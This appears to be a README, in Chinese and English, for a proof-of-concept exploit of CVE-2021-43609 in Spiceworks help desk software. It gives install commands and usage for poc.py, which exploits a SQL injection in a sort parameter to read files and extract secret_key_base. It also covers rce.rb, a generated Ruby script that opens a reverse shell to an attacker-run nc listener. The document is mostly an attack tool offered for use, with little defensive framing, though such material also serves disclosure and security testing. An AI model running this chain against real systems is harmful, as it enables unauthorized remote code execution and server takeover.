
针对 CVE-2021-43609 的概念验证漏洞利用,演示针对 Spiceworks 帮助台软件的 SQL 注入到文件读取再到远程代码执行的攻击链。
Spiceworks 的 sort 参数中存在一处 SQLi。完整利用链为 SQLi -> 文件读取 -> RCE。
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
使用 poc.py 利用 SQLi -> 文件读取并提取 secret_key_base 环境变量。随后它会根据 poc.py 获取到的值生成一个用于获取反向 shell 的 PoC Ruby 脚本。
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
使用 rce.rb。在阶段 1 中提供的 IP 和端口上启动一个 nc 监听器,然后只需:
cd rce && ruby rce.rb
瞧!